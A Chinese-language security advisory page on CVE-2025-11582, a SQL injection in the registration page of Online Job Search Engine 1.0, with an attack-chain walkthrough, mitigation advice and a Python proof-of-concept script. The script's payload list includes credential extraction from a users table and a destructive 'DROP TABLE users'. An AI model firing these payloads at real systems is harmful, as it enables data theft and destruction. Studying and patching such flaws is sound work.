IPBUF安全漏洞报告
English
CVE-2025-11582 CVSS 7.3 高危

CVE-2025-11582:Online Job Search Engine 1.0 SQL注入漏洞

披露日期: 2025-10-10

漏洞信息

漏洞编号
CVE-2025-11582
漏洞类型
SQL注入
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
code-projects Online Job Search Engine

相关标签

SQL注入CVE-2025-11582Online Job Search Enginecode-projects高危漏洞远程利用无需认证PHPWeb应用漏洞registration.php

漏洞概述

CVE-2025-11582是code-projects公司开发的Online Job Search Engine(在线求职搜索引擎)1.0版本中存在的一个高危SQL注入漏洞。该漏洞于2025年10月10日被披露,CVSS 3.1评分为7.3分,属于高危级别。漏洞位于应用程序的注册页面(/registration.php)中,具体涉及对参数txtusername的处理逻辑存在缺陷,攻击者可以通过构造恶意的SQL语句注入到该参数中,实现对后端数据库的非授权操作。由于该漏洞无需身份认证即可远程利用,且利用代码已公开披露,因此对部署该系统的服务器构成了严重的安全威胁。攻击者可以利用此漏洞窃取数据库中的敏感信息(如用户凭证、个人信息等),篡改数据库内容,甚至在某些配置环境下实现远程代码执行,进一步控制整个服务器。该漏洞的影响范围包括机密性、完整性和可用性三个维度,均受到低级别影响,表明攻击者能够读取、修改部分数据,并可能导致服务部分中断。鉴于该漏洞的利用门槛较低且已有公开的PoC代码,建议相关用户尽快采取防护措施。

技术细节

该SQL注入漏洞的根本原因在于Online Job Search Engine 1.0版本的注册页面(/registration.php)在处理用户提交的用户名参数(txtusername)时,未对输入数据进行充分的过滤和参数化处理,直接将用户输入拼接到SQL查询语句中执行。攻击者可以通过标准的SQL注入技术,在txtusername参数中注入恶意SQL片段,例如使用单引号(')闭合原有的SQL语句,然后追加UNION SELECT、OR 1=1等攻击载荷。由于该漏洞的攻击向量为网络(AV:N)、攻击复杂度低(AC:L)、无需权限(PR:N)且无需用户交互(UI:N),攻击者可以通过简单的HTTP POST请求直接向目标服务器的/registration.php端点发送恶意payload即可触发漏洞。利用过程中,攻击者首先需要确认目标系统运行的是Online Job Search Engine 1.0版本,然后构造包含SQL注入payload的HTTP请求,发送到注册页面的txtusername参数。由于利用代码已公开(参考GitHub issue https://github.com/iMayDay-Yee/Vulnerability/issues/4),即使是初级攻击者也可以轻松复现该漏洞。成功利用后,攻击者可获取数据库中的敏感信息,包括管理员凭证、求职者个人信息等,并可能通过数据库特性(如MySQL的LOAD_FILE()、INTO OUTFILE等)进一步扩大攻击范围。

攻击链分析

STEP 1
步骤1:目标识别
攻击者通过搜索引擎、Shodan等工具识别运行Online Job Search Engine 1.0版本的目标服务器,确认目标系统暴露在公网上并可访问/registration.php端点。
STEP 2
步骤2:漏洞探测
攻击者向/registration.php发送包含特殊字符(如单引号')的测试请求,观察响应中是否包含SQL错误信息或异常行为,确认SQL注入漏洞的存在。
STEP 3
步骤3:注入Payload构造
攻击者根据数据库类型(MySQL/MSSQL等)构造相应的SQL注入payload,如使用UNION SELECT进行联合查询注入,或使用SLEEP()进行时间盲注。
STEP 4
步骤4:数据提取
攻击者通过SQL注入获取数据库中的敏感信息,包括管理员账号密码哈希、求职者个人信息、企业数据等。
STEP 5
步骤5:权限提升与持久化
利用获取的管理员凭证登录系统后台,或通过数据库特性写入Webshell,实现对服务器的持久化控制。
STEP 6
步骤6:数据破坏或窃取
攻击者可选择窃取数据库中的所有数据进行非法交易,或删除/篡改数据破坏业务正常运行,甚至进行勒索攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-11582 - Online Job Search Engine 1.0 SQL Injection PoC # Vulnerable endpoint: /registration.php # Vulnerable parameter: txtusername # Author: Security Researcher import requests import sys # Target configuration TARGET_URL = "http://target.com/registration.php" INJECTION_PAYLOAD = "' OR '1'='1" def exploit_sql_injection(target_url, payload): """ Exploit SQL injection in txtusername parameter of registration.php """ # Data to be sent in POST request data = { "txtusername": payload, "txtpassword": "test123", "txtemail": "[email protected]", "txtphone": "1234567890", "btnsubmit": "Submit" } # Send malicious request headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" } try: response = requests.post(target_url, data=data, headers=headers, timeout=10) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error messages or successful injection indicators if "error" in response.text.lower() or "syntax" in response.text.lower(): print("[!] Possible SQL injection detected - error message in response") return True elif response.status_code == 500: print("[!] Server error - possible SQL injection") return True else: print("[*] Response received - check manually for injection success") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False # Advanced payload for database enumeration def advanced_payloads(): """Generate advanced SQL injection payloads for deeper exploitation""" payloads = [ # Basic authentication bypass "' OR '1'='1' -- ", "' OR '1'='1' #", "admin' -- ", # Union-based injection "' UNION SELECT 1,2,3,4,5 -- ", "' UNION SELECT username,password,3,4,5 FROM users -- ", # Boolean-based blind injection "' AND 1=1 -- ", "' AND 1=2 -- ", # Time-based blind injection "' AND SLEEP(5) -- ", "'; WAITFOR DELAY '0:0:5' -- ", # Error-based injection "' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT version()), 0x7e)) -- ", # Stacked queries "'; DROP TABLE users -- " ] return payloads if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Testing SQL injection in txtusername parameter...") # Test basic injection exploit_sql_injection(TARGET_URL, INJECTION_PAYLOAD) # Test advanced payloads print("\n[*] Testing advanced payloads...") for payload in advanced_payloads(): print(f"\n[*] Testing payload: {payload}") exploit_sql_injection(TARGET_URL, payload)

影响范围

code-projects Online Job Search Engine 1.0

防御指南

临时缓解措施
在等待官方修复补丁发布之前,建议采取以下临时缓解措施:1)通过Web应用防火墙(WAF)部署SQL注入防护规则,拦截包含UNION、SELECT、SLEEP等关键字的恶意请求;2)在Web服务器层面限制对/registration.php的访问,仅允许可信IP访问该端点;3)修改应用程序代码,对txtusername参数进行严格的输入过滤,仅允许字母、数字和有限的特殊字符;4)将数据库连接账户的权限降至最低,禁用LOAD_FILE、INTO OUTFILE等危险函数;5)启用数据库操作的详细日志记录,监控异常的SQL查询行为;6)定期备份数据库,以便在遭受攻击时能够快速恢复数据。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表